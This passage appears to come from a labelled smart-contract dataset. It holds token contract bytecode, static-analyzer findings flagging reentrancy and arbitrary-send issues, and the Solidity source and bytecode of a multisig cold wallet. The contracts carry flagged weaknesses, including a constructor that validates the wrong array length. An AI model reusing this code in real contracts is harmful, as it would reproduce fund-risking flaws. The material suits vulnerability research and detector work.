169083151502179055505b80610c2581611ee5565b915050610b41565b6000610720338484611214565b6008546001600160a01b0316336001600160a01b031614610c5a57600080fd5b6000610c6530610a8f565b9050610a8c81611908565b6000546001600160a01b03163314610c9a5760405162461bcd60e51b815260040161083990611f00565b60115460ff1615610ce75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610839565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a5460009061089f906001600160a01b0316610a8f565b6000546001600160a01b03163314610d565760405162461bcd60e51b815260040161083990611f00565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610708565b6000546001600160a01b03163314610dd35760405162461bcd60e51b815260040161083990611f00565b60115460ff1615610e205760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610839565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e5d3082683635c9adc5dea000006110f0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebf9190611f35565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f309190611f35565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa19190611f35565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fd181610a8f565b600080610fe66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561104e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110739190611f52565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110cc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092c9190611f80565b6001600160a01b0383166111525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610839565b6001600160a01b0382166111b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610839565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610839565b6001600160a01b0382166112da5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610839565b6000811161133c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610839565b6001600160a01b03831660009081526006602052604090205460ff16156113b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610839565b600080546001600160a01b038581169116148015906113de57506000546001600160a01b03848116911614155b1561182457600a546001600160a01b03858116911614801561140e57506007546001600160a01b03848116911614155b801561143357506001600160a01b03831660009081526004602052604090205460ff16155b156116c05760115460ff1661148a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610839565b6010544214156114ca5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610839565b42601054610e106114db9190611f9d565b111561155557600f546114ed84610a8f565b6114f79084611f9d565b11156115555760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610839565b6001600160a01b03831660009081526005602052604090206001015460ff166115bd576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115cd9190611f9d565b11156116a157600e548211156116255760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610839565b61163042600f611f9d565b6001600160a01b038416600090815260056020526040902054106116a15760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610839565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116da575060115460ff165b80156116f45750600a546001600160a01b03858116911614155b156118245761170442600f611f9d565b6001600160a01b038516600090815260056020526040902054106117765760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610839565b600061178130610a8f565b9050801561180d5760115462010000900460ff161561180457600d54600a54606491906117b6906001600160a01b0316610a8f565b6117c09190611fb5565b6117ca9190611fd4565b81111561180457600d54600a54606491906117ed906001600160a01b0316610a8f565b6117f79190611fb5565b6118019190611fd4565b90505b61180d81611908565b47801561181d5761181d47611883565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186657506001600160a01b03841660009081526004602052604090205460ff165b1561186f575060005b61187c8585858486611a7c565b5050505050565b6008546001600160a01b03166108fc61189d600284611fd4565b6040518115909202916000818181858888f193505050501580156118c5573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118e0600284611fd4565b6040518115909202916000818181858888f1935050505015801561092c573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194c5761194c611ecf565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190611f35565b816001815181106119dc576119dc611ecf565b6001600160a01b039283166020918202929092010152600754611a0291309116846110f0565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a3b908590600090869030904290600401611ff6565b600060405180830381600087803b158015611a5557600080fd5b505af1158015611a69573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a888383611a9e565b9050611a9686868684611ae5565b505050505050565b6000808315611ade578215611ab65750600b54611ade565b50600c54601054611ac990610384611f9d565b421015611ade57611adb600582611f9d565b90505b9392505050565b600080611af28484611bc2565b6001600160a01b0388166000908152600260205260409020549193509150611b1b908590611eb8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b4b908390611f9d565b6001600160a01b038616600090815260026020526040902055611b6d81611bf6565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb291815260200190565b60405180910390a3505050505050565b600080806064611bd28587611fb5565b611bdc9190611fd4565b90506000611bea8287611eb8565b96919550909350505050565b30600090815260026020526040902054611c11908290611f9d565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c5157858101830151858201604001528201611c35565b81811115611c63576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8c57600080fd5b8035611c9981611c79565b919050565b600060208284031215611cb057600080fd5b8135611ade81611c79565b60008060408385031215611cce57600080fd5b8235611cd981611c79565b946020939093013593505050565b60008060408385031215611cfa57600080fd5b50508035926020909101359150565b600080600060608486031215611d1e57600080fd5b8335611d2981611c79565b92506020840135611d3981611c79565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d7357600080fd5b823567ffffffffffffffff80821115611d8b57600080fd5b818501915085601f830112611d9f57600080fd5b813581811115611db157611db1611d4a565b8060051b604051601f19603f83011681018181108582111715611dd657611dd6611d4a565b604052918252848201925083810185019188831115611df457600080fd5b938501935b82851015611e1957611e0a85611c8e565b84529385019392850192611df9565b98975050505050505050565b600060208284031215611e3757600080fd5b5035919050565b8015158114610a8c57600080fd5b600060208284031215611e5e57600080fd5b8135611ade81611e3e565b60008060408385031215611e7c57600080fd5b8235611e8781611c79565b91506020830135611e9781611c79565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611eca57611eca611ea2565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ef957611ef9611ea2565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4757600080fd5b8151611ade81611c79565b600080600060608486031215611f6757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f9257600080fd5b8151611ade81611e3e565b60008219821115611fb057611fb0611ea2565b500190565b6000816000190483118215151615611fcf57611fcf611ea2565b500290565b600082611ff157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120465784516001600160a01b031683529383019391830191600101612021565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ca2625912c1c87de0a947224cfdd89c337bd3e4f26d467f8fa62a1c85d9e489964736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,595 |
0x1160ec99b6f5fb875b55e61644f715353839909c | pragma solidity ^0.4.23;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
} else {
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
if (r % d != 0) {
r += 1;
}
} else {
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
}
contract FsTKColdWallet {
using Math for uint256;
event ConfirmationNeeded(address indexed initiator, bytes32 indexed operation, address indexed to, uint256 value, bytes data);
event Confirmation(address indexed authority, bytes32 indexed operation);
event Revoke(address indexed authority, bytes32 indexed operation);
event AuthorityChanged(address indexed oldAuthority, address indexed newAuthority);
event AuthorityAdded(address authority);
event AuthorityRemoved(address authority);
event RequirementChanged(uint256 required);
event DayLimitChanged(uint256 dayLimit);
event SpentTodayReset(uint256 spentToday);
event Deposit(address indexed from, uint256 value);
event SingleTransaction(address indexed authority, address indexed to, uint256 value, bytes data, address created);
event MultiTransaction(address indexed authority, bytes32 indexed operation, address indexed to, uint256 value, bytes data, address created);
struct TransactionInfo {
address to;
uint256 value;
bytes data;
}
struct PendingTransactionState {
TransactionInfo info;
uint256 confirmNeeded;
uint256 confirmBitmap;
uint256 index;
}
modifier onlyAuthority {
require(isAuthority(msg.sender));
_;
}
modifier confirmAndRun(bytes32 operation) {
if (confirmAndCheck(operation)) {
_;
}
}
uint256 constant MAX_AUTHORITIES = 250;
uint256 public requiredAuthorities;
uint256 public numAuthorities;
uint256 public dailyLimit;
uint256 public spentToday;
uint256 public lastDay;
address[256] public authorities;
mapping(address => uint256) public authorityIndex;
mapping(bytes32 => PendingTransactionState) public pendingTransaction;
bytes32[] public pendingOperation;
constructor(address[] _authorities, uint256 required, uint256 _daylimit) public {
require(required > 0);
require(authorities.length >= required);
numAuthorities = _authorities.length;
for (uint256 i = 0; i < _authorities.length; i += 1) {
authorities[1 + i] = _authorities[i];
authorityIndex[_authorities[i]] = 1 + i;
}
requiredAuthorities = required;
dailyLimit = _daylimit;
lastDay = today();
}
function() external payable {
if (msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
function getAuthority(uint256 index) public view returns (address) {
return authorities[index + 1];
}
function getAuthorityIndex(address authority) public view returns (uint256 index) {
index = authorityIndex[authority];
require(index > 0);
}
function isAuthority(address authority) public view returns (bool) {
return authorityIndex[authority] > 0;
}
function hasConfirmed(bytes32 operation, address _address) public view returns (bool) {
return (pendingTransaction[operation].confirmBitmap & (1 << getAuthorityIndex(_address))) != 0;
}
function changeAuthority(address from, address to) public confirmAndRun(keccak256(msg.data)) {
require(!isAuthority(to));
uint256 index = getAuthorityIndex(from);
authorities[index] = to;
authorityIndex[to] = index;
delete authorityIndex[from];
clearPending();
emit AuthorityChanged(from, to);
}
function addAuthority(address authority) public confirmAndRun(keccak256(msg.data)) {
require(!isAuthority(authority));
if (numAuthorities >= MAX_AUTHORITIES) {
reOrganizeAuthorities();
}
require(numAuthorities < MAX_AUTHORITIES);
numAuthorities += 1;
authorities[numAuthorities] = authority;
authorityIndex[authority] = numAuthorities;
clearPending();
emit AuthorityAdded(authority);
}
function removeAuthority(address authority) public confirmAndRun(keccak256(msg.data)) {
require(numAuthorities > requiredAuthorities);
uint256 index = getAuthorityIndex(authority);
delete authorities[index];
delete authorityIndex[authority];
clearPending();
reOrganizeAuthorities();
emit AuthorityRemoved(authority);
}
function setRequirement(uint256 required) public confirmAndRun(keccak256(msg.data)) {
require(numAuthorities >= requiredAuthorities);
clearPending();
emit RequirementChanged(requiredAuthorities = required);
}
function setDailyLimit(uint256 _dailyLimit) public confirmAndRun(keccak256(msg.data)) {
clearPending();
emit DayLimitChanged(dailyLimit = _dailyLimit);
}
function resetSpentToday() public confirmAndRun(keccak256(msg.data)) {
clearPending();
emit SpentTodayReset(spentToday);
delete spentToday;
}
function propose(
address to,
uint256 value,
bytes data
)
public
onlyAuthority
returns (bytes32 operation)
{
if ((data.length == 0 && checkAndUpdateLimit(value)) || requiredAuthorities == 1) {
emit SingleTransaction(msg.sender, to, value, data, execute0(to, value, data));
} else {
operation = keccak256(msg.data, pendingOperation.length);
PendingTransactionState storage status = pendingTransaction[operation];
if (status.info.to == 0 && status.info.value == 0 && status.info.data.length == 0) {
status.info = TransactionInfo({
to: to,
value: value,
data: data
});
}
if (!confirm(operation)) {
emit ConfirmationNeeded(msg.sender, operation, to, value, data);
}
}
}
function revoke(bytes32 operation) public {
uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender);
PendingTransactionState storage state = pendingTransaction[operation];
if (state.confirmBitmap & confirmFlag > 0) {
state.confirmNeeded += 1;
state.confirmBitmap &= ~confirmFlag;
emit Revoke(msg.sender, operation);
}
}
function confirm(bytes32 operation) public confirmAndRun(operation) returns (bool) {
PendingTransactionState storage status = pendingTransaction[operation];
if (status.info.to != 0 || status.info.value != 0 || status.info.data.length != 0) {
emit MultiTransaction(
msg.sender,
operation,
status.info.to,
status.info.value,
status.info.data,
execute0(status.info.to, status.info.value, status.info.data)
);
delete pendingTransaction[operation].info;
return true;
}
}
function execute0(
address to,
uint256 value,
bytes data
)
private
returns (address created)
{
if (to == 0) {
created = create0(value, data);
} else {
require(to.call.value(value)(data));
}
}
function create0(uint256 value, bytes code) internal returns (address _address) {
assembly {
_address := create(value, add(code, 0x20), mload(code))
if iszero(extcodesize(_address)) {
revert(0, 0)
}
}
}
function confirmAndCheck(bytes32 operation) private returns (bool) {
PendingTransactionState storage pending = pendingTransaction[operation];
if (pending.confirmNeeded == 0) {
pending.confirmNeeded = requiredAuthorities;
delete pending.confirmBitmap;
pending.index = pendingOperation.length;
pendingOperation.push(operation);
}
uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender);
if (pending.confirmBitmap & confirmFlag == 0) {
emit Confirmation(msg.sender, operation);
if (pending.confirmNeeded <= 1) {
delete pendingOperation[pending.index];
delete pending.confirmNeeded;
delete pending.confirmBitmap;
delete pending.index;
return true;
} else {
pending.confirmNeeded -= 1;
pending.confirmBitmap |= confirmFlag;
}
}
}
function checkAndUpdateLimit(uint256 value) private returns (bool) {
if (today() > lastDay) {
spentToday = 0;
lastDay = today();
}
uint256 _spentToday = spentToday.add(value);
if (_spentToday <= dailyLimit) {
spentToday = _spentToday;
return true;
}
return false;
}
function today() private view returns (uint256) {
return block.timestamp / 1 days;
}
function reOrganizeAuthorities() private {
uint256 free = 1;
while (free < numAuthorities) {
while (free < numAuthorities && authorities[free] != 0) {
free += 1;
}
while (numAuthorities > 1 && authorities[numAuthorities] == 0) {
numAuthorities -= 1;
}
if (free < numAuthorities && authorities[numAuthorities] != 0 && authorities[free] == 0) {
authorities[free] = authorities[numAuthorities];
authorityIndex[authorities[free]] = free;
delete authorities[numAuthorities];
}
}
}
function clearPending() private {
for (uint256 i = 0; i < pendingOperation.length; i += 1) {
delete pendingTransaction[pendingOperation[i]];
}
delete pendingOperation;
}
} | 0x6080604052600436106101265763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662033a1481146101805780632330f247146101b957806326defa73146101e65780633295feb314610206578063494503d41461022857806359ed55e1146102555780635c52c2f51461027557806367eeba0c1461028a5780636b0c932d1461029f578063797af627146102b45780638f56015f146102d457806393ba3f15146102f457806397db9a95146103145780639ef0ce1214610334578063b20d30a914610354578063b39c294414610374578063b75c7dc614610389578063c2cf7326146103a9578063d544e010146103c9578063f059cf2b146103e9578063f257bf3b146103fe578063ffae2c5b1461041e575b600034111561017e573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040516101759190611913565b60405180910390a25b005b34801561018c57600080fd5b506101a061019b36600461177f565b61043e565b6040516101b09493929190611921565b60405180910390f35b3480156101c557600080fd5b506101d96101d43660046116ba565b610546565b6040516101b09190611905565b3480156101f257600080fd5b5061017e6102013660046116ba565b610574565b34801561021257600080fd5b5061021b610688565b6040516101b09190611913565b34801561023457600080fd5b5061024861024336600461177f565b61068e565b6040516101b091906118f7565b34801561026157600080fd5b5061021b61027036600461177f565b6106b9565b34801561028157600080fd5b5061017e6106d9565b34801561029657600080fd5b5061021b61074f565b3480156102ab57600080fd5b5061021b610755565b3480156102c057600080fd5b506101d96102cf36600461177f565b61075b565b3480156102e057600080fd5b5061017e6102ef36600461177f565b61095c565b34801561030057600080fd5b5061021b61030f36600461171a565b6109d5565b34801561032057600080fd5b5061017e61032f3660046116e0565b610c30565b34801561034057600080fd5b5061021b61034f3660046116ba565b610d52565b34801561036057600080fd5b5061017e61036f36600461177f565b610d65565b34801561038057600080fd5b5061021b610dcd565b34801561039557600080fd5b5061017e6103a436600461177f565b610dd3565b3480156103b557600080fd5b506101d96103c436600461179d565b610e65565b3480156103d557600080fd5b5061017e6103e43660046116ba565b610e95565b3480156103f557600080fd5b5061021b610f85565b34801561040a57600080fd5b5061021b6104193660046116ba565b610f8b565b34801561042a57600080fd5b5061024861043936600461177f565b610fbe565b610106602090815260009182526040918290208251606081018452815473ffffffffffffffffffffffffffffffffffffffff1681526001808301548285015260028084018054875161010094821615949094027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f8101869004860283018601875280835293959294869493860193908301828280156105265780601f106104fb57610100808354040283529160200191610526565b820191906000526020600020905b81548152906001019060200180831161050957829003601f168201915b505050505081525050908060030154908060040154908060050154905084565b73ffffffffffffffffffffffffffffffffffffffff811660009081526101056020526040812054115b919050565b60003660405180838380828437820191505092505050604051809103902061059b81610fef565b15610684576105a982610546565b156105b357600080fd5b60015460fa116105c5576105c561113a565b60015460fa116105d457600080fd5b60018054810190819055829060059061010081106105ee57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9283161790556001549083166000908152610105602052604090205561064c611355565b7f550a8ae64ec9d6640b6f168a26d3e6364b90defe8110c92135aa775b279e54ea8260405161067b91906118f7565b60405180910390a15b5050565b60015481565b600581610100811061069c57fe5b015473ffffffffffffffffffffffffffffffffffffffff16905081565b6101078054829081106106c857fe5b600091825260209091200154905081565b60003660405180838380828437820191505092505050604051809103902061070081610fef565b1561074c5761070d611355565b7f8c5b9565815ec5a5e089fa8c584c603d2cf75501c8054b228fd16d2b37e5da9d60035460405161073e9190611913565b60405180910390a160006003555b50565b60025481565b60045481565b6000808261076881610fef565b1561095557600084815261010660205260409020805490925073ffffffffffffffffffffffffffffffffffffffff161515806107a75750600182015415155b806107e357506002808301547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018316150201160415155b1561095557815460018084015460028086018054604080516020601f97841615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190931694909404958601829004820284018201905284835273ffffffffffffffffffffffffffffffffffffffff958616958a9533909116947f84e1a43ea00f8f27f55c9ff6104a82757b92ce3e8355f9d766291e9b3b257a98949093926108ed9289928692909186918301828280156108e35780601f106108b8576101008083540402835291602001916108e3565b820191906000526020600020905b8154815290600101906020018083116108c657829003601f168201915b5050505050611401565b6040516108fc939291906119aa565b60405180910390a460008481526101066020526040812080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600181018290559061094e6002830182611558565b5050600192505b5050919050565b60003660405180838380828437820191505092505050604051809103902061098381610fef565b1561068457600054600154101561099957600080fd5b6109a1611355565b7facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da82600081905560405161067b9190611913565b6000806109e133610546565b15156109ec57600080fd5b82511580156109ff57506109ff846114c8565b80610a0c57506000546001145b15610a89578473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe29ff7f5df4c2cda15eeda171b5f5be7165ab9338482450aaff790fdeeffaae08686610a6d8a8a8a611401565b604051610a7c9392919061197b565b60405180910390a3610c28565b610107546040516000913691808484808284379190910192835250506040805160209281900383019020600081815261010690935291208054919550935073ffffffffffffffffffffffffffffffffffffffff16159150508015610aef57506001810154155b8015610b2b57506002808201547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600183161502011604155b15610bac576040805160608101825273ffffffffffffffffffffffffffffffffffffffff8716808252602080830188905292820186905283547fffffffffffffffffffffffff00000000000000000000000000000000000000001617835560018301869055845190918391610ba89160028401919088019061159c565b5050505b610bb58261075b565b1515610c28578473ffffffffffffffffffffffffffffffffffffffff1682600019163373ffffffffffffffffffffffffffffffffffffffff167ff2c2e5d8bc7a0cb09c4b887a02749bd70772b58131354b79ad678e740be48d668787604051610c1f92919061195b565b60405180910390a45b509392505050565b60008036604051808383808284378201915050925050506040518091039020610c5881610fef565b15610d4c57610c6683610546565b15610c7057600080fd5b610c7984610f8b565b9150826005836101008110610c8a57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92831617905583811660009081526101056020526040808220859055918616815290812055610cf1611355565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f275720694d99bebae3e30a093350471a8a15db9c771974d841c724b07a55f39260405160405180910390a35b50505050565b6101056020526000908152604090205481565b600036604051808383808284378201915050925050506040518091039020610d8c81610fef565b1561068457610d99611355565b7f31adeea0047ecd038070d2a2c068a63369e5da2093913417dad947c722e66c9f82600281905560405161067b9190611913565b60005481565b600080610ddf33610f8b565b600084815261010660205260408120600481015460029390930a945092509083161115610e605760038101805460010190556004810180548319169055604051839073ffffffffffffffffffffffffffffffffffffffff3316907fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b90600090a35b505050565b6000610e7082610f8b565b6000848152610106602052604090206004015460029190910a16151590505b92915050565b60008036604051808383808284378201915050925050506040518091039020610ebd81610fef565b15610e605760005460015411610ed257600080fd5b610edb83610f8b565b91506005826101008110610eeb57fe5b0180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905573ffffffffffffffffffffffffffffffffffffffff831660009081526101056020526040812055610f41611355565b610f4961113a565b7f272215cde179041f7a3e8da6f8aabc7c8fc1336ccd73aba698cb825a80d3be4883604051610f7891906118f7565b60405180910390a1505050565b60035481565b73ffffffffffffffffffffffffffffffffffffffff81166000908152610105602052604081205490811161056f57600080fd5b60006005600183016101008110610fd157fe5b015473ffffffffffffffffffffffffffffffffffffffff1692915050565b600081815261010660205260408120600381015482901515611055576000805460038401556004830181905561010780546005850181905560018101825591527f47c4908e245f386bfc1825973249847f4053a761ddb4880ad63c323a7b5a2a25018490555b61105e33610f8b565b600483015460029190910a91508116151561095557604051849073ffffffffffffffffffffffffffffffffffffffff3316907fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda90600090a360038201546001106110ff5761010782600501548154811015156110d657fe5b600091825260208220018190556003830181905560048301819055600583015560019250610955565b6003820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055600482018054821790555050919050565b60015b60015481101561074c575b6001548110801561117d5750600581610100811061116257fe5b015473ffffffffffffffffffffffffffffffffffffffff1615155b1561118a57600101611148565b600180541180156111c1575060015460059061010081106111a757fe5b015473ffffffffffffffffffffffffffffffffffffffff16155b156111f357600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905561118a565b6001548110801561122b5750600154600590610100811061121057fe5b015473ffffffffffffffffffffffffffffffffffffffff1615155b801561125a5750600581610100811061124057fe5b015473ffffffffffffffffffffffffffffffffffffffff16155b1561135057600154600590610100811061127057fe5b015473ffffffffffffffffffffffffffffffffffffffff16600582610100811061129657fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691909117905580610105600060058361010081106112ee57fe5b015473ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002055600154600590610100811061132857fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b61113d565b60005b610107548110156113f45761010660006101078381548110151561137857fe5b60009182526020808320909101548352820192909252604001812080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600181018290559081816113d06002830182611558565b50506000600383018190556004830181905560059092019190915550600101611358565b61074c610107600061161a565b600073ffffffffffffffffffffffffffffffffffffffff841615156114315761142a8383611525565b90506114c1565b8373ffffffffffffffffffffffffffffffffffffffff16838360405180828051906020019080838360005b8381101561147457818101518382015260200161145c565b50505050905090810190601f1680156114a15780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156114c157600080fd5b9392505050565b6000806004546114d661153e565b11156114ed5760006003556114e961153e565b6004555b600354611500908463ffffffff61154816565b600254909150811161151a5760038190556001915061151f565b600091505b50919050565b600081516020830184f09050803b1515610e8f57600080fd5b6201518042045b90565b80820182811015610e8f57600080fd5b50805460018160011615610100020316600290046000825580601f1061157e575061074c565b601f01602090049060005260206000209081019061074c9190611634565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115dd57805160ff191683800117855561160a565b8280016001018555821561160a579182015b8281111561160a5782518255916020019190600101906115ef565b50611616929150611634565b5090565b508054600082559060005260206000209081019061074c91905b61154591905b80821115611616576000815560010161163a565b60006114c18235611a47565b60006114c18235611545565b6000601f8201831361167757600080fd5b813561168a611685826119f1565b6119ca565b915080825260208301602083018583830111156116a657600080fd5b6116b1838284611a65565b50505092915050565b6000602082840312156116cc57600080fd5b60006116d8848461164e565b949350505050565b600080604083850312156116f357600080fd5b60006116ff858561164e565b92505060206117108582860161164e565b9150509250929050565b60008060006060848603121561172f57600080fd5b600061173b868661164e565b935050602061174c8682870161165a565b925050604084013567ffffffffffffffff81111561176957600080fd5b61177586828701611666565b9150509250925092565b60006020828403121561179157600080fd5b60006116d8848461165a565b600080604083850312156117b057600080fd5b60006116ff858561165a565b6117c581611a47565b82525050565b6117c581611a60565b6117c581611545565b60006117e882611a43565b8084526117fc816020860160208601611a71565b61180581611a9d565b9093016020019392505050565b60008154600181166000811461182f576001811461186b576118a7565b60028204607f1685527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00821660208601526040850192506118a7565b6002820480865260208601955061188185611a37565b60005b828110156118a057815488820152600190910190602001611884565b8701945050505b505092915050565b805160009060608401906118c385826117bc565b5060208301516118d660208601826117d4565b50604083015184820360408601526118ee82826117dd565b95945050505050565b60208101610e8f82846117bc565b60208101610e8f82846117cb565b60208101610e8f82846117d4565b6080808252810161193281876118af565b905061194160208301866117d4565b61194e60408301856117d4565b6118ee60608301846117d4565b6040810161196982856117d4565b81810360208301526116d881846117dd565b6060810161198982866117d4565b818103602083015261199b81856117dd565b90506116d860408301846117bc565b606081016119b882866117d4565b818103602083015261199b8185611812565b60405181810167ffffffffffffffff811182821017156119e957600080fd5b604052919050565b600067ffffffffffffffff821115611a0857600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60009081526020902090565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b82818337506000910152565b60005b83811015611a8c578181015183820152602001611a74565b83811115610d4c57505060009101525